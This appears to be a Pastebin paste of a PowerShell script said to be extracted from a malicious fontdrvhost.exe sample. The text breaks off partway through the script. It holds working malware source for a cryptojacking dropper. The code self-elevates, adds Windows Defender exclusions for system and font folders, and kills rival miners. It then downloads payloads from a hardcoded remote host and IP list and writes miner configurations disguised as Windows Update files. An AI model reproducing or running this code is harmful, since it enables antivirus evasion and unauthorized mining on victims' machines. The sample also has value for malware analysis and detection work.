daily pastebin goal
76%
SHARE
TWEET

fontdrvhost.ps1

a guest Apr 25th, 2018 346 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # PowerShell script extracted from fontdrvhost.exe (c372945f4ed8951bd3a768e84cd646ff1ed83482faac73af7a4619321224eb7d)
  2. # https://www.virustotal.com/#/file/c372945f4ed8951bd3a768e84cd646ff1ed83482faac73af7a4619321224eb7d/details
  3.  
  4. [cmdletbinding()]
  5. Param (
  6.     $name = "Yura",
  7.     $password = "Kirova143",
  8.     $proxy = ""
  9. )
  10.  
  11.  
  12. $posh = ((Get-WmiObject win32_process | where{ $_.name -eq "fontdrvhost.exe" -and $_.Processid -ne $pid } | WHERE { $_.path -notlike "$env:windir\system32\fontdrvhost.exe" })) | ForEach-Object { $_.Path }
  13. if (!($posh))
  14. {
  15.     function AddExclusionsDefender
  16.     {
  17.         [CmdletBinding()]
  18.         Param (
  19.             [Parameter(Mandatory = $True)]
  20.             [string]$path
  21.         )
  22.        
  23.         $tmpPath = $path
  24.         $tmpPath += "\tmp"
  25.        
  26.         function Ensure-RegistryKey([string]$path)
  27.         {
  28.             # If the registry key does not exist create it
  29.             if (!(Test-Path $path))
  30.             {
  31.                 New-Item $path | Out-Null
  32.             }
  33.         }
  34.        
  35.         function Add-WindowsDefenderExclusionsPolicy([string]$pathToAdd)
  36.         {
  37.             $registryKey = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths"
  38.            
  39.             # Windows Defender may not have the above keys created in some cases
  40.             Ensure-RegistryKey "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
  41.             Ensure-RegistryKey "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions"
  42.             Ensure-RegistryKey $registryKey
  43.            
  44.             $found = $False
  45.            
  46.             $items = Get-Item $registryKey
  47.            
  48.             Foreach ($name in $items.GetValueNames())
  49.             {
  50.                 if ([string]::Compare($name, $pathToAdd, $True) -eq 0)
  51.                 {
  52.                     # Path already added
  53.                     Write-Host "Path already added to exclusion list"
  54.                     return
  55.                 }
  56.             }
  57.            
  58.             Set-ItemProperty -Path $registryKey -Name $pathToAdd -Value 0 -Force
  59.             Write-Host "Path added to defender exclusion list, updating policy"
  60.            
  61.            
  62.         }
  63.        
  64.         function IsAdministrator
  65.         {
  66.             $Identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
  67.             $Principal = New-Object System.Security.Principal.WindowsPrincipal($Identity)
  68.             $Principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
  69.         }
  70.        
  71.        
  72.         function IsUacEnabled
  73.         {
  74.             (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System).EnableLua -ne 0
  75.         }
  76.        
  77.         #
  78.         # Self-Elevate
  79.         #
  80.         if (!(IsAdministrator))
  81.         {
  82.             if (IsUacEnabled)
  83.             {
  84.                 [string[]]$argList = @('-NoProfile', '-NoExit', '-File', $MyInvocation.MyCommand.Path)
  85.                 $argList += $MyInvocation.BoundParameters.GetEnumerator() | Foreach { "-$($_.Key)", "$($_.Value)" }
  86.                 $argList += $MyInvocation.UnboundArguments
  87.                 Start-Process PowerShell.exe -Verb Runas -WorkingDirectory $pwd -ArgumentList $argList
  88.                 return
  89.             }
  90.             else
  91.             {
  92.                 throw "You must be administrator to run this script"
  93.             }
  94.         }
  95.        
  96.         # Set preference
  97.         "Removing " + $path + " from Windows Defender's Eye"
  98.        
  99.         # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx
  100.         $version = [Environment]::OSVersion.Version
  101.        
  102.         if (($version.Major -eq 6 -AND $version.Minor -gt 1) -or ($version.Major -gt 6))
  103.         {
  104.             # Windows 8 and above
  105.             if (Get-Command Set-MpPreference)
  106.             {
  107.                 Try
  108.                 {
  109.                     Add-MpPreference -ExclusionPath $path -ErrorAction Stop
  110.                 }
  111.                 Catch
  112.                 {
  113.                     "Defender Configuration not available, is it disabled?"
  114.                 }
  115.                 $ErrorActionPreference = "Continue"
  116.             }
  117.             else
  118.             {
  119.                 "Defender Configuration not available, fallback required"
  120.             }
  121.         }
  122.         elseif ($version.Major -eq 6 -AND $version.Minor -eq 1)
  123.         {
  124.             # Windows 7 / Server 2008 R2
  125.             Try
  126.             {
  127.                 Add-WindowsDefenderExclusionsPolicy $path
  128.             }
  129.             Catch
  130.             {
  131.                 "Defender Configuration not available, is it disabled?"
  132.             }
  133.         }
  134.        
  135.         "Done"
  136.     }
  137.     AddExclusionsDefender "$env:systemdrive\*\*s"
  138.     AddExclusionsDefender "$env:systemdrive\*\*2"
  139.     AddExclusionsDefender "$env:systemdrive\System Volume Information"
  140.     AddExclusionsDefender "\\*\*l"
  141.     AddExclusionsDefender "$env:systemdrive\windows\fonts"
  142.     AddExclusionsDefender "$env:systemdrive\windows\system32\drivers"
  143.     AddExclusionsDefender "$env:systemdrive\windows\system32\GroupPolicy"
  144.     AddExclusionsDefender "$env:systemdrive\windows\sysvol"
  145.    
  146.     if (test-path "$env:windir\sysvol")
  147.     {
  148.         AddExclusionsDefender "\\*\*l"
  149.         AddExclusionsDefender "$env:systemdrive\*\*l"
  150.     }
  151.     $version = [Environment]::OSVersion.Version
  152.     if ($version.Major -eq 6 -AND $version.Minor -eq 1)
  153.     {
  154.         gpupdate | Out-Null
  155.     }
  156.    
  157.     chcp 437
  158.     $OutputEncoding = [Console]::OutputEncoding
  159.     $env:SEE_MASK_NOZONECHECKS = 1
  160.    
  161.     try
  162.     {
  163.         if (!($env:ComputerName -like "*slave*"))
  164.         {
  165.             if (Get-Service sc_snmp)
  166.             {
  167.                 if (Get-Service firewall_rules)
  168.                 {
  169.                     firewall_rules -remove
  170.                 }
  171.                 sc_snmp -remove
  172.                 $i = (Get-WmiObject Win32_Process -Filter "name = 'powershell.exe'" | Where-Object { $_.CommandLine -like "*firewall_rules.ps1*-Service*" }).processid
  173.                 if ($i)
  174.                 {
  175.                     foreach ($n in $I)
  176.                     {
  177.                         Stop-Process -Id $n -force
  178.                     }
  179.                 }
  180.                 $processpath = Get-Process | ForEach-Object { $_.Path }
  181.                 if ($processpath -contains "$env:windir\fonts\SoftwareDistribution\snmp\sc_service.exe") { get-process | Where-Object { $_.path -like "*$env:windir\fonts\SoftwareDistribution\snmp\sc_service.exe*" } | stop-process -force }
  182.                 if ($processpath -contains "$env:windir\fonts\SoftwareDistribution\snmp\snmp_reciever.exe") { get-process | Where-Object { $_.path -like "*$env:windir\fonts\SoftwareDistribution\snmp\snmp_reciever.exe*" } | stop-process -force }
  183.                
  184.                
  185.             }
  186.         }
  187.         ###Удаление сторонних майнеров из папки fonts
  188.         $processpath = ((((Get-Process | ForEach-Object { $_.Path }) -like "*fonts*exe*")) -notlike "*ttf*explorer.exe*") -notlike "*arial*fontdrvhost.exe*"
  189.         foreach ($i in $processpath)
  190.         {
  191.             $proc = Get-Process | ForEach-Object { $_.Path }
  192.             if ($proc -contains "$i") { get-process | Where-Object { $_.path -like "*$i*" } | stop-process -force }
  193.             Remove-Item $i -Force
  194.         }
  195.        
  196.         $processpath = (Get-Process | ForEach-Object { $_.Path }) -like "*miner*"
  197.         foreach ($i in $processpath)
  198.         {
  199.             $proc = Get-Process | ForEach-Object { $_.Path }
  200.             if ($proc -contains "$i") { get-process | Where-Object { $_.path -like "*$i*" } | stop-process -force }
  201.             Remove-Item $i -Force
  202.         }
  203.        
  204.         $processpath = (Get-Process | ForEach-Object { $_.Path }) -like "*xmr*"
  205.         foreach ($i in $processpath)
  206.         {
  207.             $proc = Get-Process | ForEach-Object { $_.Path }
  208.             if ($proc -contains "$i") { get-process | Where-Object { $_.path -like "*$i*" } | stop-process -force }
  209.             Remove-Item $i -Force
  210.         }
  211.     }
  212.     catch
  213.     { }
  214.    
  215.    
  216.     #Проверяем админ права######################################################################
  217.     #region Functions
  218.     function TestUptime
  219.     {
  220.         [CmdletBinding()]
  221.         Param ()
  222.         $try = 3
  223.         While ($try -gt 0)
  224.         {
  225.             $WebRequest = [System.Net.WebRequest]::Create("http://localhost:999/api.json")
  226.             $WebRequest.Method = "GET"
  227.             $WebRequest.ContentType = "application/json"
  228.             $Response = $WebRequest.GetResponse()
  229.             $ResponseStream = $Response.GetResponseStream()
  230.             $ReadStream = New-Object System.IO.StreamReader $ResponseStream
  231.             $Data = $ReadStream.ReadToEnd()
  232.             $uptime = ($data -split "," -match "uptime" -replace '"uptime":') -replace "/D"
  233.             if ($uptime -gt 0)
  234.             {
  235.                 $access = "true"
  236.                 $try = 0
  237.             }
  238.             else
  239.             {
  240.                 $access = "false"
  241.                 $try = $try - 1
  242.                 Start-Sleep -s 10
  243.             }
  244.         }
  245.         return $access
  246.        
  247.     }
  248.     function Get-FileHash
  249.     {
  250.     <#
  251.         .SYNOPSIS
  252.             Calculates the hash on a given file based on the seleced hash algorithm.
  253.  
  254.         .DESCRIPTION
  255.             Calculates the hash on a given file based on the seleced hash algorithm. Multiple hashing
  256.             algorithms can be used with this command.
  257.  
  258.         .PARAMETER Path
  259.             File or files that will be scanned for hashes.
  260.  
  261.         .PARAMETER Algorithm
  262.             The type of algorithm that will be used to determine the hash of a file or files.
  263.             Default hash algorithm used is SHA256. More then 1 algorithm type can be used.
  264.            
  265.             Available hash algorithms:
  266.  
  267.             MD5
  268.             SHA1
  269.             SHA256 (Default)
  270.             SHA384
  271.             SHA512
  272.             RIPEM160
  273.  
  274.         .NOTES
  275.             Name: Get-FileHash
  276.             Author: Boe Prox
  277.             Created: 18 March 2013
  278.             Modified: 28 Jan 2014
  279.                 1.1 - Fixed bug with incorrect hash when using multiple algorithms
  280.  
  281.         .OUTPUTS
  282.             System.IO.FileInfo.Hash
  283.  
  284.         .EXAMPLE
  285.             Get-FileHash -Path Test2.txt
  286.             Path                             SHA256
  287.             ----                             ------
  288.             C:\users\prox\desktop\TEST2.txt 5f8c58306e46b23ef45889494e991d6fc9244e5d78bc093f1712b0ce671acc15      
  289.            
  290.             Description
  291.             -----------
  292.             Displays the SHA256 hash for the text file.  
  293.  
  294.         .EXAMPLE
  295.             Get-FileHash -Path .\TEST2.txt -Algorithm MD5,SHA256,RIPEMD160 | Format-List
  296.             Path      : C:\users\prox\desktop\TEST2.txt
  297.             MD5       : cb8e60205f5e8cae268af2b47a8e5a13
  298.             SHA256    : 5f8c58306e46b23ef45889494e991d6fc9244e5d78bc093f1712b0ce671acc15
  299.             RIPEMD160 : e64d1fa7b058e607319133b2aa4f69352a3fcbc3
  300.  
  301.             Description
  302.             -----------
  303.             Displays MD5,SHA256 and RIPEMD160 hashes for the text file.
  304.  
  305.         .EXAMPLE
  306.             Get-ChildItem -Filter *.exe | Get-FileHash -Algorithm MD5
  307.             Path                               MD5
  308.             ----                               ---
  309.             C:\users\prox\desktop\handle.exe  50c128c5b28237b3a01afbdf0e546245
  310.             C:\users\prox\desktop\PortQry.exe c6ac67f4076ca431acc575912c194245
  311.             C:\users\prox\desktop\procexp.exe b4caa7f3d726120e1b835d52fe358d3f
  312.             C:\users\prox\desktop\Procmon.exe 9c85f494132cc6027762d8ddf1dd5a12
  313.             C:\users\prox\desktop\PsExec.exe  aeee996fd3484f28e5cd85fe26b6bdcd
  314.             C:\users\prox\desktop\pskill.exe  b5891462c9ca5bddfe63d3bae3c14e0b
  315.             C:\users\prox\desktop\Tcpview.exe 485bc6763729511dcfd52ccb008f5c59
  316.  
  317.             Description
  318.             -----------
  319.             Uses pipeline input from Get-ChildItem to get MD5 hashes of executables.
  320.  
  321.     #>
  322.         [CmdletBinding()]
  323.         Param (
  324.             [Parameter(Position = 0, Mandatory = $true, ValueFromPipelineByPropertyName = $true, ValueFromPipeline = $True)]
  325.             [Alias("PSPath", "FullName")]
  326.             [string[]]$Path,
  327.             [Parameter(Position = 1)]
  328.             [ValidateSet("MD5", "SHA1", "SHA256", "SHA384", "SHA512", "RIPEMD160")]
  329.             [string[]]$Algorithm = "SHA256"
  330.         )
  331.         Process
  332.         {
  333.             ForEach ($item in $Path)
  334.             {
  335.                 $item = (Resolve-Path $item).ProviderPath
  336.                 If (-Not ([uri]$item).IsAbsoluteUri)
  337.                 {
  338.                     Write-Verbose ("{0} is not a full path, using current directory: {1}" -f $item, $pwd)
  339.                     $item = (Join-Path $pwd ($item -replace "\.\\", ""))
  340.                 }
  341.                 If (Test-Path $item -Type Container)
  342.                 {
  343.                     Write-Warning ("Cannot calculate hash for directory: {0}" -f $item)
  344.                     Return
  345.                 }
  346.                 $object = New-Object PSObject -Property @{
  347.                     Path     = $item
  348.                 }
  349.                 #Open the Stream
  350.                 $stream = ([IO.StreamReader]$item).BaseStream
  351.                 foreach ($Type in $Algorithm)
  352.                 {
  353.                     [string]$hash = -join ([Security.Cryptography.HashAlgorithm]::Create($Type).ComputeHash($stream) |
  354.                         ForEach { "{0:x2}" -f $_ })
  355.                     $null = $stream.Seek(0, 0)
  356.                     #If multiple algorithms are used, then they will be added to existing object                
  357.                     $object = Add-Member -InputObject $Object -MemberType NoteProperty -Name $Type -Value $Hash -PassThru
  358.                 }
  359.                 $object.pstypenames.insert(0, 'System.IO.FileInfo.Hash')
  360.                 #Output an object with the hash, algorithm and path
  361.                 Write-Output $object
  362.                
  363.                 #Close the stream
  364.                 $stream.Close()
  365.             }
  366.         }
  367.     }
  368.    
  369.     function TestProxyConnection($proxypool)
  370.     {
  371.         $proxypoolport = $proxypool + ':757'
  372.         $proxy = new-object System.Net.WebProxy("http://$proxypoolport")
  373.         $WebClient = new-object System.Net.WebClient
  374.         $WebClient.proxy = $proxy
  375.         $url = "http://msupdate.info/test.txt"
  376.         Try
  377.         {
  378.             $content = $WebClient.DownloadString($url)
  379.             $ProxyConnection = "true"
  380.         }
  381.         catch
  382.         {
  383.             $ProxyConnection = "false"
  384.         }
  385.        
  386.        
  387.        
  388.         return $ProxyConnection
  389.     }
  390.    
  391.     function TestMS ($Minerport, $ipms)
  392.     {
  393.         #   if (!($port))
  394.         #   {
  395.         #   $port = "14444"
  396.         #   }
  397.         #   if (!($ipms))
  398.         #   {
  399.         #       $ipms = "msupdate.info"
  400.         #   }
  401.         $try = 3
  402.         While ($try -gt 0)
  403.         {
  404.            
  405.            
  406.             $checkport = (test-Port -comp $ipms -port 80 -tcp).open
  407.             if ($checkport -eq "true")
  408.             {
  409.                 $MSConnection = "true"
  410.                 $port = ":80"
  411.                 $try = 0
  412.                
  413.             }
  414.             else
  415.             {
  416.                 $MSConnection = "false"
  417.                 $try = $try - 1
  418.             }
  419.            
  420.             start-sleep -s 2
  421.            
  422.             Write-Host $try
  423.         }
  424.         if ($MSConnection -eq "false")
  425.         {
  426.             $ips = "msupdate.info", "185.48.59.45", "185.48.59.50", "185.48.59.51", "185.48.59.52"
  427.             foreach ($is in $ips)
  428.             {
  429.                 $try = 3
  430.                 While ($try -gt 0)
  431.                 {
  432.                    
  433.                    
  434.                     $checkport = (test-Port -comp $is -port ($Minerport -replace ":") -tcp).open
  435.                     if ($checkport -eq "true")
  436.                     {
  437.                         $MSConnection = "true"
  438.                         $try = 0
  439.                     }
  440.                     else
  441.                     {
  442.                         $MSConnection = "false"
  443.                         $try = $try - 1
  444.                     }
  445.                    
  446.                     start-sleep -s 2
  447.                    
  448.                     Write-Host $try
  449.                 }
  450.                 if ($MSConnection -eq "true") { break }
  451.             }
  452.         }
  453.        
  454.         if (!($port))
  455.         {
  456.             $port = "$Minerport"
  457.         }
  458.         return @{
  459.             "Status"    = $MSConnection; "Address" = $ipms; "Port" = $port
  460.         }
  461.     }
  462.    
  463.     function TestMS80
  464.     {
  465.        
  466.         $try = 3
  467.         While ($try -gt 0)
  468.         {
  469.            
  470.            
  471.             $checkport = (test-Port -comp msupdate.info -port 80 -tcp).open
  472.             if ($checkport -eq "true")
  473.             {
  474.                 $MSConnection = "true"
  475.                 $try = 0
  476.             }
  477.             else
  478.             {
  479.                 $MSConnection = "false"
  480.                 $try = $try - 1
  481.             }
  482.            
  483.             start-sleep -s 2
  484.            
  485.             Write-Host $try
  486.         }
  487.        
  488.         return $MSConnection
  489.     }
  490.    
  491.     function Expand-ZIPFile($file, $destination)
  492.     {
  493.         $shell = new-object -com shell.application
  494.         $zip = $shell.NameSpace($file)
  495.         foreach ($item in $zip.items())
  496.         {
  497.             $shell.Namespace($destination).copyhere($item)
  498.         }
  499.     }
  500.    
  501.     function DownloadFile ($file, $proxyserver)
  502.     {
  503.         $ComputerName = $env:COMPUTERNAME
  504.         $PCbased = (Get-WmiObject Win32_ComputerSystem).systemtype
  505.         switch ($PCbased)
  506.         {
  507.             "X64-based PC" {
  508.                 $path = ${env:ProgramFiles(x86)}
  509.                 $osArch2 = "x64"
  510.             }
  511.             "X86-based PC" {
  512.                 $path = $env:ProgramFiles
  513.                 $osArch2 = "x86"
  514.             }
  515.         }
  516.         $webclient = (New-Object System.Net.WebClient)
  517.         if ($proxyserver)
  518.         {
  519.             $proxyserver = $proxyserver + ':757'
  520.             $WebProxy = New-Object System.Net.WebProxy("http://$proxyserver", $true)
  521.             $WebClient.Proxy = $webproxy
  522.         }
  523.         if ((((Split-Path -Path $file -Leaf).Split(".")[1]) -ne "exe") -and (((Split-Path -Path $file -Leaf).Split(".")[1]) -ne "zip"))
  524.         {
  525.             $osArch2 = ""
  526.         }
  527.         if ($file -like "*JavaCU.exe")
  528.         {
  529.             $osArch2 = ""
  530.         }
  531.         if ($file -like "*.config")
  532.         {
  533.             $osArch2 = ""
  534.             $Sourcemd5File = (((Split-Path -Path $file -Leaf).Split(".")[0]) + $osArch2 + '.' + (Split-Path -Path $file -Leaf).Split(".")[1] + '.' + (Split-Path -Path $file -Leaf).Split(".")[2]) + '.md5'
  535.         }
  536.         else
  537.         {
  538.             $Sourcemd5File = (((Split-Path -Path $file -Leaf).Split(".")[0]) + $osArch2 + '.' + (Split-Path -Path $file -Leaf).Split(".")[1]) + '.md5'
  539.         }
  540.         $Sourcemd5link = "http://msupdate.info/uni/MD5/$Sourcemd5File"
  541.        
  542.         #   $SourceFile = (Split-Path $file -leaf)
  543.         if ($file -like "*.config")
  544.         {
  545.             $osArch2 = ""
  546.             $SourceFile = (((Split-Path -Path $file -Leaf).Split(".")[0]) + $osArch2 + '.' + (Split-Path -Path $file -Leaf).Split(".")[1] + '.' + (Split-Path -Path $file -Leaf).Split(".")[2])
  547.         }
  548.         else
  549.         {
  550.             $SourceFile = (((Split-Path -Path $file -Leaf).Split(".")[0]) + $osArch2 + '.' + (Split-Path -Path $file -Leaf).Split(".")[1])
  551.         }
  552.         $SourceFileLink = "http://msupdate.info/uni/$SourceFile"
  553.         #   $DestFilePath = (Split-Path $file -parent)
  554.         #   $destfile = (Split-Path $file -leaf) -replace $osarch
  555.        
  556.         $webclient.DownloadFile("$Sourcemd5link", "$env:programdata\$SourceFile" + '.md5')
  557.        
  558.         $newmd5 = gc ("$env:programdata\$SourceFile" + '.md5')
  559.         Remove-Item  ("$env:programdata\$SourceFile" + '.md5') -Force
  560.         If (Test-Path $file)
  561.         {
  562.             $oldmd5 = md5hash $file
  563.         }
  564.         else
  565.         {
  566.            
  567.             $oldmd5 = "CCC"
  568.         }
  569.        
  570.        
  571.         if ($oldmd5 -eq $newmd5)
  572.         {
  573.             $CheckDownload = "Noupdate"
  574.         }
  575.         else
  576.         {
  577.             $i = 0
  578.             while (($oldmd5 -ne $newmd5) -and ($i -lt "10"))
  579.             {
  580.                 $processpath = Get-Process | ForEach-Object { $_.Path }
  581.                 if ($processpath -contains "$file") { get-process | Where-Object { $_.path -like "*$file*" } | stop-process -force }
  582.                 $webclient.DownloadFile("$SourceFileLink", "$file")
  583.                 If (Test-Path $file)
  584.                 {
  585.                     $oldmd5 = md5hash $file
  586.                 }
  587.                 else
  588.                 {
  589.                     $oldmd5 = "CCC"
  590.                 }
  591.                 if ($oldmd5 -ne $newmd5)
  592.                 {
  593.                     Start-Sleep -s 60
  594.                 }
  595.                 $i = $i + 1
  596.                
  597.                 start-sleep -s 3
  598.             }
  599.             If (Test-Path $file)
  600.             {
  601.                 $oldmd5 = md5hash $file
  602.                 if ($oldmd5 -eq $newmd5)
  603.                 {
  604.                     $CheckDownload = "true"
  605.                 }
  606.                 else
  607.                 {
  608.                     $CheckDownload = "false"
  609.                    
  610.                     Remove-Item $file -force
  611.                 }
  612.             }
  613.             else
  614.             {
  615.                 $CheckDownload = "false"
  616.             }
  617.         }
  618.        
  619.         Return $CheckDownload
  620.        
  621.        
  622.     }
  623.    
  624.    
  625.    
  626.     function createconfig
  627.     {
  628.         param
  629.         (
  630.             [Parameter(Mandatory = $false)]
  631.             [ValidateNotNull()]
  632.             $pool,
  633.             [Parameter(Mandatory = $false)]
  634.             [ValidateNotNull()]
  635.             $walet,
  636.             [Parameter(Mandatory = $true)]
  637.             [ValidateNotNull()]
  638.             $threads
  639.         )
  640.        
  641.         $config = @"
  642. "cpu_threads_conf" :
  643. [
  644.    $threads
  645. ],
  646. "use_slow_memory" : "warn",
  647. "nicehash_nonce" : true,
  648. "aes_override" : null,
  649. "use_tls" : false,
  650. "tls_secure_algo" : true,
  651. "tls_fingerprint" : "",
  652. "pool_address" : "$pool",
  653. "wallet_address" : "$walet",
  654. "pool_password" : "",
  655. "call_timeout" : 10,
  656. "retry_time" : 10,
  657. "giveup_limit" : 0,
  658. "verbose_level" : 0,
  659. "h_print_time" : 60,
  660. "daemon_mode" : false,
  661. "output_file" : "",
  662. "httpd_port" : 999,
  663. "prefer_ipv4" : true,
  664.  
  665.  
  666. "@
  667.         if (!(Test-Path $ConfPath))
  668.         {
  669.             new-item "$ConfPath" -itemtype directory -force
  670.         }
  671.        
  672.         $config | Out-File -Encoding ASCII "$ConfPath\WindowsUpdate.etl"
  673.     }
  674.    
  675.    
  676.     function createconfig32
  677.     {
  678.         param
  679.         (
  680.             [Parameter(Mandatory = $false)]
  681.             [ValidateNotNull()]
  682.             $pool,
  683.             [Parameter(Mandatory = $false)]
  684.             [ValidateNotNull()]
  685.             $walet
  686.         )
  687.        
  688.         $config = @"
  689. {
  690.    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
  691.    "av": 0,                // algorithm variation, 0 auto select
  692.    "background": false,    // true to run the miner in the background
  693.    "colors": true,         // false to disable colored output    
  694.    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
  695.    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)
  696.    "donate-level": 1,      // donate level, mininum 1%
  697.    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
  698.    "max-cpu-usage": 50,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
  699.    "print-time": 60,       // print hashrate report every N seconds
  700.    "retries": 5,           // number of times to retry before switch to backup server
  701.    "retry-pause": 5,       // time to pause between retries
  702.    "safe": false,          // true to safe adjust threads and av settings for current CPU
  703.    "threads": null,        // number of miner threads
  704.    "pools": [
  705.        {
  706.            "url": "$pool",   // URL of mining server
  707.            "user": "$walet",                        // username for mining server
  708.            "pass": "x",                       // password for mining server
  709.            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
  710.            "nicehash": true                  // enable nicehash/xmrig-proxy support
  711.        }
  712.    ],
  713.    "api": {
  714.        "port": 999,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
  715.        "access-token": null,                  // access token for API
  716.        "worker-id": null                      // custom worker-id for API
  717.    }
  718. }
  719. "@
  720.         if (!(Test-Path "$ConfPath"))
  721.         {
  722.             new-item "$ConfPath" -itemtype directory -force
  723.         }
  724.        
  725.         $config | Out-File -Encoding ASCII "$ConfPath\WindowsUpdate.etl"
  726.     }
  727.     function Get-Sessions
  728.     {
  729.         $c = query session 2>&1 | where { $_.gettype().equals([string]) }
  730.        
  731.         $starters = New-Object psobject -Property @{ "SessionName" = 0; "Username" = 0; "ID" = 0; "State" = 0; "Type" = 0; "Device" = 0; };
  732.        
  733.         foreach ($line in $c)
  734.         {
  735.             try
  736.             {
  737.                 if ($line.trim().substring(0, $line.trim().indexof(" ")) -eq "SESSIONNAME")
  738.                 {
  739.                     $starters.Username = $line.indexof("USERNAME");
  740.                     $starters.ID = $line.indexof("ID");
  741.                     $starters.State = $line.indexof("STATE");
  742.                     $starters.Type = $line.indexof("TYPE");
  743.                     $starters.Device = $line.indexof("DEVICE");
  744.                     continue;
  745.                 }
  746.                
  747.                 New-Object psobject -Property @{
  748.                     "SessionName"    = $line.trim().substring(0, $line.trim().indexof(" ")).trim(">")
  749.                     ; "Username" = $line.Substring($starters.Username, $line.IndexOf(" ", $starters.Username) - $starters.Username)
  750.                     ; "ID" = $line.Substring($line.IndexOf(" ", $starters.Username), $starters.ID - $line.IndexOf(" ", $starters.Username) + 2).trim()
  751.                     ; "State" = $line.Substring($starters.State, $line.IndexOf(" ", $starters.State) - $starters.State).trim()
  752.                     ; "Type" = $line.Substring($starters.Type, $starters.Device - $starters.Type).trim()
  753.                     ; "Device" = $line.Substring($starters.Device).trim()
  754.                 }
  755.             }
  756.             catch
  757.             {
  758.                 throw $_;
  759.                
  760.             }
  761.         }
  762.     }
  763.    
  764.     function md5hash($path)
  765.     {
  766.         $fullPath = Resolve-Path $path
  767.         $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
  768.         $file = [System.IO.File]::Open($fullPath, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read)
  769.         [System.BitConverter]::ToString($md5.ComputeHash($file))
  770.         $file.Dispose()
  771.     }
  772.    
  773.     #Sample function that provides the location of the script
  774.     function Get-ScriptDirectory
  775.     {
  776. <#
  777.     .SYNOPSIS
  778.         Get-ScriptDirectory returns the proper location of the script.
  779.  
  780.     .OUTPUTS
  781.         System.String
  782.    
  783.     .NOTES
  784.         Returns the correct path within a packaged executable.
  785. #>
  786.         [OutputType([string])]
  787.         param ()
  788.         if ($null -ne $hostinvocation)
  789.         {
  790.             Split-Path $hostinvocation.MyCommand.path
  791.         }
  792.         else
  793.         {
  794.             Split-Path $script:MyInvocation.MyCommand.Path
  795.         }
  796.     }
  797.    
  798.     function Test-Port
  799.     {
  800.        
  801.         [cmdletbinding(
  802.                        DefaultParameterSetName = '',
  803.                        ConfirmImpact = 'low'
  804.                        )]
  805.         Param (
  806.             [Parameter(
  807.                        Mandatory = $True,
  808.                        Position = 0,
  809.                        ParameterSetName = '',
  810.                        ValueFromPipeline = $True)]
  811.             [array]$computer,
  812.             [Parameter(
  813.                        Position = 1,
  814.                        Mandatory = $True,
  815.                        ParameterSetName = '')]
  816.             [array]$port,
  817.             [Parameter(
  818.                        Mandatory = $False,
  819.                        ParameterSetName = '')]
  820.             [int]$TCPtimeout = 1000,
  821.             [Parameter(
  822.                        Mandatory = $False,
  823.                        ParameterSetName = '')]
  824.             [int]$UDPtimeout = 1000,
  825.             [Parameter(
  826.                        Mandatory = $False,
  827.                        ParameterSetName = '')]
  828.             [switch]$TCP,
  829.             [Parameter(
  830.                        Mandatory = $False,
  831.                        ParameterSetName = '')]
  832.             [switch]$UDP
  833.         )
  834.         Begin
  835.         {
  836.             If (!$tcp -AND !$udp) { $tcp = $True }
  837.             #Typically you never do this, but in this case I felt it was for the benefit of the function  
  838.             #as any errors will be noted in the output of the report          
  839.             #           $ErrorActionPreference = "SilentlyContinue"
  840.             $report = @()
  841.         }
  842.         Process
  843.         {
  844.             ForEach ($c in $computer)
  845.             {
  846.                 ForEach ($p in $port)
  847.                 {
  848.                     If ($tcp)
  849.                     {
  850.                         #Create temporary holder    
  851.                         $temp = "" | Select Server, Port, TypePort, Open, Notes
  852.                         #Create object for connecting to port on computer  
  853.                         $tcpobject = new-Object system.Net.Sockets.TcpClient
  854.                         #Connect to remote machine's port                
  855.                         $connect = $tcpobject.BeginConnect($c, $p, $null, $null)
  856.                         #Configure a timeout before quitting  
  857.                         $wait = $connect.AsyncWaitHandle.WaitOne($TCPtimeout, $false)
  858.                         #If timeout  
  859.                         If (!$wait)
  860.                         {
  861.                             #Close connection  
  862.                             $tcpobject.Close()
  863.                             Write-Verbose "Connection Timeout"
  864.                             #Build report  
  865.                             $temp.Server = $c
  866.                             $temp.Port = $p
  867.                             $temp.TypePort = "TCP"
  868.                             $temp.Open = "False"
  869.                             $temp.Notes = "Connection to Port Timed Out"
  870.                         }
  871.                         Else
  872.                         {
  873.                             $error.Clear()
  874.                             $tcpobject.EndConnect($connect) | out-Null
  875.                             #If error  
  876.                             If ($error[0])
  877.                             {
  878.                                 #Begin making error more readable in report  
  879.                                 [string]$string = ($error[0].exception).message
  880.                                 $message = (($string.split(":")[1]).replace('"', "")).TrimStart()
  881.                                 $failed = $true
  882.                             }
  883.                             #Close connection      
  884.                             $tcpobject.Close()
  885.                             #If unable to query port to due failure  
  886.                             If ($failed)
  887.                             {
  888.                                 #Build report  
  889.                                 $temp.Server = $c
  890.                                 $temp.Port = $p
  891.                                 $temp.TypePort = "TCP"
  892.                                 $temp.Open = "False"
  893.                                 $temp.Notes = "$message"
  894.                             }
  895.                             Else
  896.                             {
  897.                                 #Build report  
  898.                                 $temp.Server = $c
  899.                                 $temp.Port = $p
  900.                                 $temp.TypePort = "TCP"
  901.                                 $temp.Open = "True"
  902.                                 $temp.Notes = ""
  903.                             }
  904.                         }
  905.                         #Reset failed value  
  906.                         $failed = $Null
  907.                         #Merge temp array with report              
  908.                         $report += $temp
  909.                     }
  910.                     If ($udp)
  911.                     {
  912.                         #Create temporary holder    
  913.                         $temp = "" | Select Server, Port, TypePort, Open, Notes
  914.                         #Create object for connecting to port on computer  
  915.                         $udpobject = new-Object system.Net.Sockets.Udpclient
  916.                         #Set a timeout on receiving message  
  917.                         $udpobject.client.ReceiveTimeout = $UDPTimeout
